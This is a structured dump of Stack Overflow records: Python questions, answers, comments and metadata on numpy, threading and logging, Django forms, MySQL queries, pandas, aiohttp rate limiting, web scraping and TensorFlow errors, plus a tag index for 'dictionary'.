has body: Can you start by sharing some code of what you have tried. Also, your objective is not very clear to me. You want to sample 4 neighbors (i imagine total of five samples from i-2:i+2)?. From this set, you want to retrieve the index of the largest sample? If this is correct, i'd go about it this way. import numpy as np # assuming idx is the desired index def sample(board,idx, win): # creating a dummy variable here. You don't need this for your code board = np.array([[2.41791045, -1.70149254, -1.85074627, -1.46268657, ], [-1.70149254, -1.91044776, -1.94029851, -1.85074627], [-1.85074627, -1.94029851, -1.91044776, -1.70149254], [-1.46268657, -1.85074627, -1.70149254, 2.41791045]]) tmp = idx - win + np.argmax(board.flatten()[idx - win:idx + win]) max_idx = np.floor_divide(tmp, board.shape[0]), tmp % board.shape[0] max_val = board[max_idx] return (max_val, max_idx) #sample(idx=10,win=2) #(2,3) updated after OP provided clarity: def sample(board=None,x=1,y=1, wlen=1): # creating a dummy variable here. You don't need this for your code if board is None: board = np.array([[2.41791045, -1.70149254, -1.85074627, -1.46268657, ], [-1.70149254, -1.91044776, -1.94029851, -1.85074627], [-1.85074627, -1.94029851, -1.91044776, -1.70149254], [-1.46268657, -1.85074627, -1.70149254, 2.41791045]]) x1=x-wlen x2=x+wlen y1=y-wlen y2=y+wlen x1=max(x1,0) x2=min(x2,board.shape[0]) y1=max(y1,0) y2=min(y2,board.shape[1]) grid = board[x1:x2,y1:y2] xy = np.unravel_index(grid.argmin(),grid.shape) min_val = grid[xy] min_xy = (x - wlen + xy[0], y - wlen + xy[1]) return min_val,min_xy #sample(x=2,y=3,wlen=1) #(-1.9402985100000001, (1, 2))
has comment: http://stackoverflow.com/comment/84430869
answers question: http://stackoverflow.com/q/48710431
has comment: http://stackoverflow.com/comment/84431097

http://stackoverflow.com/q/48745240
has body: I am trying to store logs from multiple threads into a single file. But in my log file, logs from different threads are getting merged. I don't want separate log files for different threads. But when one thread is writing logs to the file, the other thread should wait till the previous thread finishes writing all the logs. I have tried different ways to do so, but finally didn't find appropriate solution. from threading import Thread, current_thread import threading import time import logging logging.basicConfig(filename='LogsThreadPrac.log', level=logging.INFO) logger = logging.getLogger(__name__) def worker(val): print('value from the thread: {}'.format(val)) logger.info('+++++++++++++++++++++++++++++++++++++++') print(current_thread().name) logger.info('value from the thread: {}'.format(val)) time.sleep(3) logger.info('+++++++++++++++++++++++++++++++++++++++') t1 = Thread(target=worker, args=[1,], name='th'+str(1)) t1.start() t2 = Thread(target=worker, args=[2,], name='th'+str(2)) t2.start()
type: Question
tagged with: multithreading
tagged with: python
answer count: 1
tagged with: logging
has answer: http://stackoverflow.com/a/48746719
downvote count: 0
has comment: http://stackoverflow.com/comment/84490966
score: 6
accepted answer: http://stackoverflow.com/a/48746719
type: AnsweredQuestion
has title: python - logging in Multi Threads
upvote count: 6
favorite count: 0

http://stackoverflow.com/q/48798781
has body: I have the following model: class Tracking(models.Model): person = models.ForeignKey(Person, on_delete=models.CASCADE) week = models.IntegerField(choices=settings.WEEK_CHOICES, blank=True) term = models.IntegerField(choices=settings.TERM_CHOICES, blank=True) year = models.IntegerField(choices=settings.YEAR_CHOICES, blank=True) target = models.CharField(max_length=256, blank=True) monday = models.IntegerField() tuesday = models.IntegerField() wednesday = models.IntegerField() thursday = models.IntegerField() friday = models.IntegerField() which is linked to this form: class AddTrackingForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(AddTrackingForm, self ).__init__(*args, **kwargs) class Meta: model = models.Tracking fields = '__all__' Once a user fills out the form, I want to save the instance to the database: class TrackingView(generic.TemplateView): template_name = "tracking.html" def get(self, request, *args, **kwargs): form = forms.AddTrackingForm() form.fields['person'].queryset = models.Person.objects.filter(active=True).order_by('-last_name', '-first_name') return render(request, self.template_name, {'form': form, }) def post(self, request, *args, **kwargs): form = forms.AddTrackingForm(request.POST) if form.is_valid(): model_instance = form.save(commit=False) model_instance.person = models.Person.objects.get(id=int(request.POST['person'])) model_instance.save() return redirect('/tracking') However, the form.is_valid() never returns True. Printing out the errors gives me blank for form.errors and: <bound method BaseForm.non_field_errors of <AddTrackingForm bound=False, valid=False, fields=(person;week;term;year;b1;b2;monday;tuesday;wednesday;thursday;friday)>> for form.non_field_errors. No matter what I try, I can't get the instance to bind. I thought it might be that the post data is received as strings and not being valid data for the model.IntegerField()'s, so I might need to override form.clean() and cast all relevant fields to ints. Howe…
has comment: http://stackoverflow.com/comment/84604803
has title: Django: ModelForm not binding to request.POST
tagged with: django
tagged with: python
type: AnsweredQuestion
downvote count: 0
tagged with: modelform
score: 1
tagged with: django-forms
has comment: http://stackoverflow.com/comment/84605421
type: Question
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/48802752
accepted answer: http://stackoverflow.com/a/48802752
favorite count: 0

http://stackoverflow.com/comment/84391563
score: 0
comment on: http://stackoverflow.com/q/48696252
type: QuestionComment
has text: Q[(i,j,t)] is decision variable and it a Dictionary data. i,j,t is the keys and Q[(i,j,t)] refers to the value.
type: Comment

http://stackoverflow.com/q/48736322
answer count: 1
linked to: http://stackoverflow.com/q/21740359
type: UnansweredQuestion
tagged with: phpmyadmin
tagged with: python
has answer: http://stackoverflow.com/a/48737753
duplicate of: http://stackoverflow.com/q/21740359
type: Question
has title: Python MySQL WHERE Statement
linked to: http://stackoverflow.com/q/23600286
has body: Ok, I am trying to figure out how to make my variable passed to my method, which that is the easy part. My main problem that I am having is that I need that value of that variable in my method equal to the value in the WHERE Statement. I was told to use %s to equal the value being passed, but MariaDB doesn't like the syntax. Any help would be greatly appreciated. def ERRORDISPLAY(ErrorTpye): #value = ErrorType conn = connection.MySQLConnection(user = 'user', password = '123456', host = 'localhost', database= 'HomeConnect') cursor = conn.cursor() query = ("SELECT errNumber, description FROM Error_List WHERE errNumber = %s value %s") num = ErrorType cursor.execut(query,(num)) for (description) in cursor: return print(num, description) ERRORDISPLAY(1)
has comment: http://stackoverflow.com/comment/84696500
score: 0

http://stackoverflow.com/a/48715215
answers question: http://stackoverflow.com/q/48715098
downvote count: 0
type: Answer
has body: You are stuck with couple of things here: you got precedence wrong since here and will be evaluated first, then = print returns None, and 1 and None = None, while 0 and None = 0. Here is a solution: if answer_1 == correct_1: a1 = 1 print("You are correct!") else: a1 = 0 print("You are incorrect.") Edit: Just wanted to point out why it stands that 1 and None = None and 0 and None = 0. It is because Python evaluates boolean conditions lazily. Here is what docs say about it: The expression x and y first evaluates x; if x is false, its value is returned; otherwise, y is evaluated and the resulting value is returned. The expression x or y first evaluates x; if x is true, its value is returned; otherwise, y is evaluated and the resulting value is returned. Just for science Having lazy evaluation of boolean conditions and = precedence you can mimic conditional (ternary) operator, construct you might find in other languages. Definition of ternary operator: condition ? expr1 : expr2. Explanation: If condition is true, the operator returns the value of expr1; otherwise, it returns the value of expr2. In Python, you can mimic this with: condition and expr1 or expr2. Same applies as with definition of ternary operator. If contition evaluates to True, expr1 is returned. Otherwise, expr2 is returned. Why I said just for science? Because although this looks great, it's not used often and may affect readability of your code.
upvote count: 1
score: 1

http://stackoverflow.com/comment/84405438
type: Comment
has text: <Element 'codeSystemName' at 0x0000023448F6FD18> it is printing like this, instead of value.
score: 0
comment on: http://stackoverflow.com/q/48703060
type: QuestionComment

http://stackoverflow.com/q/48721620
has answer: http://stackoverflow.com/a/48722354
has comment: http://stackoverflow.com/comment/84442592
type: Question
tagged with: python-multithreading
tagged with: multithreading
tagged with: python
answer count: 1
has title: What is the purpose of thread in tensorflow queue operation?
upvote count: 1
tagged with: queue
tagged with: tensorflow
downvote count: 0
has body: images, labels = tf.train.batch([image, label], batch_size=32, num_threads=4) I often see a queue created with num_threads and the threads are said to be for enqueue operation. I don't quite understand the purpose of setting multiple threads for enqueue, because the way I see it, enqueue is just putting a value at the end of the queue.
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/84442119
favorite count: 0

http://stackoverflow.com/comment/84550228
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48774098
has text: I think that is what i should write before :D The path names are fine
type: Comment

http://stackoverflow.com/comment/84573608
score: 0
type: Comment
has text: As an opinion based aside, I've had better luck with Django S3 Storage, if you're only using the S3 backend: https://github.com/etianen/django-s3-storage It is a simplified version of `django-storages` which only support one backend, S3.
type: AnswerComment
comment on: http://stackoverflow.com/a/48786151

http://stackoverflow.com/a/48696601
has body: numpy.where is not conditional execution; it is conditional selection. Python function parameters are always completely evaluated before a function call, so there is no way for a function to conditionally or partially evaluate its parameters. Your code: x = numpy.where(b == 0, a, 1/b) tells Python to invert every element of b and then select elements from a or 1/b based on elements of b == 0. Python never even reaches the point of selecting elements, because computing 1/b fails. You can avoid this problem by only inverting the nonzero parts of b. Assuming a and b have the same shape, it could look like this: x = numpy.empty_like(b) mask = (b == 0) x[mask] = a[mask] x[~mask] = 1/b[~mask]
upvote count: 17
answers question: http://stackoverflow.com/q/48696344
type: Answer
has comment: http://stackoverflow.com/comment/84392028
downvote count: 0
has comment: http://stackoverflow.com/comment/84392001
has comment: http://stackoverflow.com/comment/84392227
score: 17
has comment: http://stackoverflow.com/comment/84392051
has comment: http://stackoverflow.com/comment/84392014

http://stackoverflow.com/q/48759258
has body: I have two date columns in the same dataframe. I need to filter the dataframe entirely if one set of dates is greater than or equal to the other column. Example dataframe: id updated compare_date 0 2018-02-10 2018-02-11 1 2018-02-10 2018-02-11 2 2018-02-12 2018-02-11 Code I am trying: df_1 = df['compare_date'] &gt;= df['updated']) Result I am getting get back is a boolean list df_1 = [True, True, True] Result I want id updated compare_date 2 2018-02-12 2018-02-11 I have confirmed that dtypes are datetime for the date columns. Thank you in advance.
has comment: http://stackoverflow.com/comment/84519436
has comment: http://stackoverflow.com/comment/84519593
score: 0
answer count: 2
tagged with: pandas
accepted answer: http://stackoverflow.com/a/48759271
has comment: http://stackoverflow.com/comment/84519635
has comment: http://stackoverflow.com/comment/84519547
tagged with: python
possible better answer: http://stackoverflow.com/a/48759309
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84519410
has answer: http://stackoverflow.com/a/48759309
has title: How to filter entire dataframe on boolean condition?
type: Question
has answer: http://stackoverflow.com/a/48759271

http://stackoverflow.com/q/48737922
has comment: http://stackoverflow.com/comment/84475611
tagged with: python
has comment: http://stackoverflow.com/comment/84475798
has title: Python post api request
upvote count: 0
has comment: http://stackoverflow.com/comment/84475681
has comment: http://stackoverflow.com/comment/84475640
has comment: http://stackoverflow.com/comment/84475530
type: Question
has answer: http://stackoverflow.com/a/48737978
score: -1
has comment: http://stackoverflow.com/comment/84475549
has body: I need to make a post into an API. I'm working with python. I'm new on this and I can't create an ad tag. I tried with create a dict with the api example information but it didn't work. When I run the &gt;&gt;&gt; sitios_creados, the answer is '' and when I run sites.status_codeI reveice `415. I don't understand why because if you see in my code, I did a right post python requests before with the token I must to take the publisherid and with it and the token id create the ad tag. my publisherid is: 15663 my code: import requests import json headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Basic ', } data = [ ('grant_type', 'password'), ('username', ''), ('password', ''), ] response = requests.post('http://api.site.com/v1/oauth/generateOauthToken', headers=headers, data=data) json_data = json.loads(response.text) token = json_data['access_token'].encode("utf-8") headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Bearer {}'.format(token) } sites = requests.post('http://api.site.com/v1/inventorymgmt/publisherAdTag?entityId=15663', headers=headers, data=data) sitios_creados = sites.content Api information example: URL: http://api.site.com/v1/inventorymgmt/publisherAdTag?entityId=2685 Method: POST Request Body: { "publisherId": 2685, "publisherSiteurl": "http://example.org", "adTagName": "THIS_IS_TEST_DEMAND_5", "adCodeTypeId": 1, "foldPlacementId": 1, "adTypeId": 3, "pagePlacementId": 1, "adExpansionDirectionId": 1, "adSize": { "name": null, "width": 0, "height": 0, "id": 9 }, "adTagPlacements": [{ "adTagPlacementId": 0, "linkOnlyToGeo": false, "ecpm": 1, "adScript": "THIS IS DEMO SCRIPT", "currency": 1 }], "adTagCustomParamMap": [{ "name": "kadcarrier", "macroValue": "techno.carrier" }, { "name": "kadcity", "macroValue": "geo.city" }] }
downvote count: 1
answer count: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/48739523
has comment: http://stackoverflow.com/comment/84478695
score: -2
answer count: 2
has comment: http://stackoverflow.com/comment/84478768
has answer: http://stackoverflow.com/a/48739897
favorite count: 0
has comment: http://stackoverflow.com/comment/84478917
has answer: http://stackoverflow.com/a/48739706
tagged with: python
has body: I am making a small project. The project is in the python and I am now stuck in a problem and i.e. I have a list of URLs with their response code like 200, 300, 400, 403. Okay let's make it more clear http://aa.domain.com 200 http://bb.domain.com 302 http://cc.domain.com 400 http://dd.domain.com 403 http://ee.domain.com 403 Now what I exactly want is I want to seperate the URLs with their status code. Like a "Making a Seperate list of 400 and 403 URLs". How can I do it with python? As a newbie, I can't. Could You? EDIT:- I have tried this try: req = requests.get(xxx) #xxx is a list of subdomains responsecode = xxx , req.status_code, "\n" print responsecode except requests.exceptions.RequestException as e: print "Not full fill request" I only can print the response code. And successfully print the response code as like I said above
upvote count: 0
type: UnansweredQuestion
downvote count: 2
linked to: http://stackoverflow.com/q/12905999
has title: How can we seperate the url's with their status code in python?
has comment: http://stackoverflow.com/comment/84478744
type: Question

http://stackoverflow.com/q/48672860
accepted answer: http://stackoverflow.com/a/48672973
favorite count: 0
type: Question
tagged with: python
has body: Why do I receive two different behaviours when converting a column to a category in pandas? As an example, let say I create a dataframe with &gt;&gt;&gt; import pandas as pd &gt;&gt;&gt; import numpy as np &gt;&gt;&gt; pd.__version__ u'0.22.0' &gt;&gt;&gt; np.__version__ '1.14.0' &gt;&gt;&gt; df = pd.DataFrame(columns=['nombre'], data=[1,2,3,4]) Now I convert my column to an object: &gt;&gt;&gt; df['nombre'] = df['nombre'].astype('object') &gt;&gt;&gt; print(df['nombre'].dtype) object The dtype is now object. &gt;&gt;&gt; df['nombre'] = df['nombre'].astype('category') &gt;&gt;&gt; print(df['nombre'].cat.categories.dtype.name) int64 After converting to a category, the internal dtype is int64. Let's start again with a new dataframe &gt;&gt;&gt; del df &gt;&gt;&gt; df = pd.DataFrame(columns=['nombre'], data=[1,2,3,4]) This time, we convert the internal column to a 'str' &gt;&gt;&gt; df['nombre'] = df['nombre'].astype('str') &gt;&gt;&gt; print(df['nombre'].dtype) object The internal representation is an object. It makes sense since we converted to a 'str'. &gt;&gt;&gt; df['nombre'] = df['nombre'].astype('category') &gt;&gt;&gt; print(df['nombre'].cat.categories.dtype.name) object After converting to a category, the internal dtype is now object, which is different from the int64 that we received before? So my question is the following, why do I receive two different behaviours when converting from an object dtype to a category?
downvote count: 2
has title: Why dtype is different when converting to a category from an object or str?
answer count: 1
has answer: http://stackoverflow.com/a/48672973
tagged with: categories
upvote count: 4
tagged with: pandas
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/48709720
tagged with: python-requests
has comment: http://stackoverflow.com/comment/84418383
tagged with: http://stackoverflow.com/tag/json
has body: i will be very appreciated for any help I'm getting info from website... And generally everyting works fine... But, just look at code: r = requests.get(s_url) print r.text &gt;&gt;&gt;[{"nameID":"D1","text":"I’ll understand what actually happened here."}] print r.json() &gt;&gt;&gt;[{u'nameID':u'D1',u'text':u'I\u2019ll understand what actually happened here.'"}] As you see after r.json() ' was changed to \u2019. Why it did it? How I can force to don't make such changes? Thanks
linked to: http://stackoverflow.com/q/13940272
type: Question
has title: Python request .json() method change symbols
has comment: http://stackoverflow.com/comment/84418368
answer count: 1
has comment: http://stackoverflow.com/comment/84418547
has answer: http://stackoverflow.com/a/48721488
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84418837
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/48661658
tagged with: graph
has body: I'm trying to make a graph and use a column of my excel sheet to be categories label. I have run .set_categories and it returns a correct '=Sheet!$A1:$A12' str. But the resulting Graph does not use the categories and just labels the graph with numbers. Resizing the graph doesn't work. I have tried including 'A' in my data variable. But it includes the classnames as a series, and only once i edit the graph, flip the axis and then flip back... it does... Can someone take a look at my code and see if there is anythng obvious. Thanks #Add chart to Worksheet chart = BarChart() #chart.add_data(values) cats = Reference(ws1, min_col=1, min_row=2, max_col=1, max_row=p+1) print(cats) data = Reference(ws1, min_col=2, min_row=1, max_col=3, max_row=p+1) chart.set_categories(cats) chart.x_axis.tickLblSkip = 1 #test chart.add_data(data=data, titles_from_data=True) #test chart.type = "bar" chart.style = 10 chart.grouping = "percentStacked" chart.overlap = 100 chart.title = 'Classes Visualised' ws1.add_chart(chart, "E15") pic of resulting graph
has title: making graph openpyxl categories not selected
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: excel
has answer: http://stackoverflow.com/a/48684752
score: 1
tagged with: openpyxl
upvote count: 1
type: Question

http://stackoverflow.com/q/48691059
has title: python for loop excluding values after each iteration
favorite count: 0
has body: so I have two python lists of ids with other info that I am looping through. I try and match up the ids and assign row values based on the id join. the example below is just a generic test on what I am actually doing but once I understand how to solve what I need I will be able to apply it to my example. for row in l1: for info in l2: if row[0]==info[0]: row[1]=info[1] each list respectively has about 11,000 rows in it so looping through the l1 then looping through every row in the l2 list to match up the ids takes a very long time. I was wondering if there is to say, okay since l1 id number 3 got iterated through and had the process finish for that id, then when the next row in l1 is being iterated l2 will now no NOT to even search for id number 3 which was processed already in the row before it. I usually run a process like this in SQL, where it would sort of like a self join... if somebody downvotes can they at least tell me why!
tagged with: python
possible better answer: http://stackoverflow.com/a/48691631
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48691631
has comment: http://stackoverflow.com/comment/84380397
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48691231
accepted answer: http://stackoverflow.com/a/48691231
score: 0
has comment: http://stackoverflow.com/comment/84380514
answer count: 2
has comment: http://stackoverflow.com/comment/84380458

http://stackoverflow.com/comment/84353576
has text: `"::".join(map(str, [1]))`
type: AnswerComment
comment on: http://stackoverflow.com/a/48677684
type: Comment
score: 2

http://stackoverflow.com/a/48724708
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84451362
has comment: http://stackoverflow.com/comment/84449639
has comment: http://stackoverflow.com/comment/84452269
accepted answer of: http://stackoverflow.com/q/48724187
type: Answer
upvote count: 1
has body: If you are open to use pandas library, a simple code as this would give you the desired result: Assuming: py_all1.csv is the file we want to remove rows from. import pandas as pd df1 = pd.read_csv('py_all1.csv') # file with multiple columns df2 = pd.read_csv('ipod_py.csv') # file with one column mask = df1.iloc[:,0].isin(df2.iloc[:,0]) df1[~mask].to_csv('output.csv', index=False) # change output.csv to 'py_all1.csv' if desired output I tried it with this sample data: file1_data = '''\ A,B New York,1 Paris,2 London,3 ''' file2_data= '''\ A New York Paris''' with open('py_all1.csv','w') as f1, open('ipod_py.csv','w') as f2: f1.write(file1_data) f2.write(file2_data) And the result is: A,B London,3
has comment: http://stackoverflow.com/comment/84457745
answers question: http://stackoverflow.com/q/48724187
has comment: http://stackoverflow.com/comment/84450362
score: 1

http://stackoverflow.com/a/48677151
type: Answer
score: 0
has body: You just want simply: binascii.hexlify(x)
answers question: http://stackoverflow.com/q/48677060

http://stackoverflow.com/q/48803765
has comment: http://stackoverflow.com/comment/84610586
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48804602
has body: I really need an asyncio compatible getkey() so I can async def stuff(): await getkey() So when the coroutine stuff hits the await our loop stops the task, and continues on another one. I am new to coding but there sure is such a thing somewhere? If not, it is possible to build such a coroutine or not? The getkey() could return the pressed key value in any form. But it should have cbreak and noecho on (Don't wait for enter and Don't print the pressed key). (clarification, no real need to continue read.) please help me^^ I know, that this way of doing it seems unusual. Curses running in it's own thread would be the right way to go. But I can use curses only for displaying.. also I am really new to coding.. and I have no time to look into this threading thing:/ I just need my 100 lines to work fluently really fast and also only once :!
tagged with: python
has comment: http://stackoverflow.com/comment/84610609
linked to: http://stackoverflow.com/q/48787563
has comment: http://stackoverflow.com/comment/84610552
upvote count: 7
possible better answer: http://stackoverflow.com/a/63677310
accepted answer: http://stackoverflow.com/a/48804602
type: Question
has answer: http://stackoverflow.com/a/63677310
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84610888
score: 7
tagged with: async-await
has title: Is there a way to getkey()/ getchar() asynchronously in python?
answer count: 2

http://stackoverflow.com/q/48682147
tagged with: aiohttp
linked to: http://stackoverflow.com/q/35196974
has comment: http://stackoverflow.com/comment/84362471
type: Question
has answer: http://stackoverflow.com/a/63654170
upvote count: 38
possible better answer: http://stackoverflow.com/a/60357775
has answer: http://stackoverflow.com/a/48682456
accepted answer: http://stackoverflow.com/a/48682456
answer count: 6
has answer: http://stackoverflow.com/a/70483082
downvote count: 0
has answer: http://stackoverflow.com/a/79323740
favorite count: 0
score: 38
has answer: http://stackoverflow.com/a/60357775
has answer: http://stackoverflow.com/a/70443187
tagged with: python-asyncio
has body: APIs often have rate limits that users have to follow. As an example let's take 50 requests/second. Sequential requests take 0.5-1 second and thus are too slow to come close to that limit. Parallel requests with aiohttp, however, exceed the rate limit. To poll the API as fast as allowed, one needs to rate limit parallel calls. Examples that I found so far decorate session.get, approximately like so: session.get = rate_limited(max_calls_per_second)(session.get) This works well for sequential calls. Trying to implement this in parallel calls does not work as intended. Here's some code as example: async with aiohttp.ClientSession() as session: session.get = rate_limited(max_calls_per_second)(session.get) tasks = (asyncio.ensure_future(download_coroutine( timeout, session, url)) for url in urls) process_responses_function(await asyncio.gather(*tasks)) The problem with this is that it will rate-limit the queueing of the tasks. The execution with gather will still happen more or less at the same time. Worst of both worlds ;-). Yes, I found a similar question right here aiohttp: set maximum number of requests per second, but neither replies answer the actual question of limiting the rate of requests. Also the blog post from Quentin Pradet works only on rate-limiting the queueing. To wrap it up: How can one limit the number of requests per second for parallel aiohttp requests?
has title: aiohttp: rate limiting parallel requests
has comment: http://stackoverflow.com/comment/84362622
tagged with: python
tagged with: parallel-processing
type: AnsweredQuestion

http://stackoverflow.com/a/48852303
answers question: http://stackoverflow.com/q/48680607
type: Answer
score: 4
has body: It seems like you were missing and index when accessing argm. Here is the fixed version of the 1, 64 version. import tensorflow as tf import numpy as np x = np.random.rand(1, 64) xt = tf.constant(value=x, dtype=tf.complex64) signal = xt print('signal', signal.shape) print('signal', signal.eval()) spec = tf.fft(signal) print('spec', spec.shape) print('spec', spec.eval()) spec_mag = tf.abs(spec[:,1:33]) print('spec_mag', spec_mag.shape) print('spec_mag', spec_mag.eval()) argm = tf.cast(tf.argmax(spec_mag, 1), dtype=tf.int32) print('argm', argm.shape) print('argm', argm.eval()) frac = tf.reduce_sum(spec_mag[0][(argm[0]-1):(argm[0]+2)], 0) print('frac', frac.shape) print('frac', frac.eval()) and here is the expanded version (batch, m, n) import tensorflow as tf import numpy as np x = np.random.rand(1, 1, 64) xt = tf.constant(value=x, dtype=tf.complex64) signal = xt print('signal', signal.shape) print('signal', signal.eval()) spec = tf.fft(signal) print('spec', spec.shape) print('spec', spec.eval()) spec_mag = tf.abs(spec[:, :, 1:33]) print('spec_mag', spec_mag.shape) print('spec_mag', spec_mag.eval()) argm = tf.cast(tf.argmax(spec_mag, 2), dtype=tf.int32) print('argm', argm.shape) print('argm', argm.eval()) frac = tf.reduce_sum(spec_mag[0][0][(argm[0][0]-1):(argm[0][0]+2)], 0) print('frac', frac.shape) print('frac', frac.eval()) you may want to fix function names since I edit this code at a newer version of tensorflow.
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/84758324
has comment: http://stackoverflow.com/comment/84758347

http://stackoverflow.com/q/48736293
has comment: http://stackoverflow.com/comment/84472868
has comment: http://stackoverflow.com/comment/84472263
has comment: http://stackoverflow.com/comment/84474162
type: Question
has title: Python 2.7: How to extract article data properly
has comment: http://stackoverflow.com/comment/84471986
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84473593
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/84473519
has comment: http://stackoverflow.com/comment/84472490
tagged with: beautifulsoup
answer count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84473953
has comment: http://stackoverflow.com/comment/84472810
has body: I am trying to extract data (title, date and text) from several articles on the same website. Each article has an unique id, so I am using a while loop to iterate through the ids to get each article. The articles' structure is the same. This is how I am trying to extract the data: # import libraries import csv import urllib2 from bs4 import BeautifulSoup # integer for first article id articleid = 4449 articles = 4459 while articleid &lt; articles: # specify the url and article id url = 'http://www.bkfrem.dk/default.asp?vis=nyheder&amp;id='+str(articleid) articleid += 1 # query the website and return the html to the variable page = urllib2.urlopen(url) # parse the html using beautiful soup and store in variable soup soup = BeautifulSoup(page, 'html.parser') # create CSV file csvfile = csv.writer(open('news.csv', 'w')) csvfile.writerow(["Title", "Date", "Text"]) # take out the &lt;div&gt; of name and get its value and text title_box = soup.find('h1', attrs={'style': 'margin-bottom:0px'}) title = title_box.text.encode('iso8859-15').strip() date_box = soup.find('div', attrs={'style': 'font-style:italic; padding-bottom:10px'}) date = date_box.text.encode('iso8859-15').strip() articleText_box = soup.find('div', attrs={'class': 'news'}) articleText = articleText_box.text.encode('iso8859-15').strip() # print the data (encoded) to the CSV file csvfile.writerow((title, date, articleText)) print title print date print articleText So what I am trying to do is to, as mentioned, iterate through all article ids, and put the output in a CSV file. The first article has the id 521 and the last has 4458. When I run this script I get the error: Traceback (most recent call last): File "C:/Users/User/Desktop/articleScript.py", line 16, in &lt;module&gt; page = urllib2.urlopen(url) File "C:\Python27\lib\urllib2.py", line 154, in urlopen return opener.open(url, data, timeout) File "C:\Python27\lib\urllib2.py", line 421, in open protocol = req.get_type() File "C:\Python27\lib\urllib2.py", l…

http://stackoverflow.com/q/48753714
downvote count: 0
answer count: 1
linked to: http://stackoverflow.com/q/49632451
favorite count: 0
type: UnansweredQuestion
tagged with: python
score: 1
has answer: http://stackoverflow.com/a/50689008
upvote count: 1
has title: Apllying Tensorflow TypeError: must be str, not int
has body: I'm trying to regenerate tensorflow tutorial code using my dataset which one dimensional N_of_features=3000 N_of_samples=4500 it exists as a Matlab file After applying this code I got the error I'm looking for any suggestions to solve this problem, Thanks The problem mainly exist in the train the classifier Train the Model. classifier.train from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import tensorflow as tf import scipy.io import pandas as pd import tensorflow as tf import numpy as np file = "train.mat" myfile1 = scipy.io.loadmat(file) train=myfile1['train'] file = "test.mat" myfile1 = scipy.io.loadmat(file) test=myfile1['test'] train_np = np.asarray(train, np.float32) test_np = np.asarray(test, np.float32) test_np n = train_np.shape[0] p = train_np.shape[1] train = dict(enumerate(train_np, 1)) test = dict(enumerate(test_np, 1)) train=pd.DataFrame.from_dict(train,orient='index') test=pd.DataFrame.from_dict(test,orient='index') def load_data(y_name=p-1): train_x, train_y = train, train.pop(y_name) test_x, test_y = test, test.pop(y_name) train_y=train_y.astype(np.int64) test_y = test_y.astype(np.int64) return (train_x, train_y), (test_x, test_y) def train_input_fn(features, labels, batch_size): dataset = tf.data.Dataset.from_tensor_slices((dict(features), labels)) dataset = dataset.shuffle(1000).repeat().batch(batch_size) return dataset def eval_input_fn(features, labels, batch_size): features=dict(features) if labels is None: # No labels, use only features. inputs = features else: inputs = (features, labels) # Convert the inputs to a Dataset. dataset = tf.data.Dataset.from_tensor_slices(inputs) # Batch the examples assert batch_size is not None, "batch_size must not be None" dataset = dataset.batch(batch_size) # Return the dataset. return dataset parser = argparse.ArgumentParser() parser.add_argument('--batch_size', default=100, type=int, help='batch size') parser.add_argument('--train_s…
type: Question

dictionary
tags question: http://stackoverflow.com/q/48795768
tags question: http://stackoverflow.com/q/48718779
tags question: http://stackoverflow.com/q/48693785
tags question: http://stackoverflow.com/q/48675645
tags question: http://stackoverflow.com/q/48735657
tags question: http://stackoverflow.com/q/48736218
tags question: http://stackoverflow.com/q/48792648
tags question: http://stackoverflow.com/q/48659092
tags question: http://stackoverflow.com/q/48745169
tags question: http://stackoverflow.com/q/48718962
tags question: http://stackoverflow.com/q/48742867
tags question: http://stackoverflow.com/q/48697047
tags question: http://stackoverflow.com/q/48791666
tags question: http://stackoverflow.com/q/48723773
tags question: http://stackoverflow.com/q/48724284
tags question: http://stackoverflow.com/q/48680465
tags question: http://stackoverflow.com/q/48739554
tags question: http://stackoverflow.com/q/48701613
tags question: http://stackoverflow.com/q/48744241
tags question: http://stackoverflow.com/q/48649353
tags question: http://stackoverflow.com/q/48689604
tags question: http://stackoverflow.com/q/48788447
tags question: http://stackoverflow.com/q/48732681
tags question: http://stackoverflow.com/q/48793222
tags question: http://stackoverflow.com/q/48801807
tags question: http://stackoverflow.com/q/48689396
tags question: http://stackoverflow.com/q/48696894
tags question: http://stackoverflow.com/q/48796756
tags question: http://stackoverflow.com/q/48718786
tags question: http://stackoverflow.com/q/48660492
tags question: http://stackoverflow.com/q/48783172
tags question: http://stackoverflow.com/q/48724508
tags question: http://stackoverflow.com/q/48787264
tags question: http://stackoverflow.com/q/48738876
tags question: http://stackoverflow.com/q/48719814
tags question: http://stackoverflow.com/q/48789287
tags question: http://stackoverflow.com/q/48702464
tags question: http://stackoverflow.com/q/48778146
tags question: http://stackoverflow.com/q/48798687
tags question: http://stackoverflow.com/q/48733794
tags question: http://stackoverflow.com/q/48682932
tags question: http://stackoverflow.com/q/48773786
tags question: http://stackoverflow.com/q/48728451
tags question: http://stackoverflow.com/q/48781933
tags question: http://stackoverflow.com/q/48652438
tags question: http://stackoverflow.com/q/48692220
tags question: http://stackoverflow.com/q/48744677
tags question: http://stackoverflow.com/q/48646671
tags question: http://stackoverflow.com/q/48776421
tag name: dictionary
tags question: http://stackoverflow.com/q/48760619
tags question: http://stackoverflow.com/q/48729220
tags question: http://stackoverflow.com/q/48738645
tags question: http://stackoverflow.com/q/48747500
tags question: http://stackoverflow.com/q/48668127
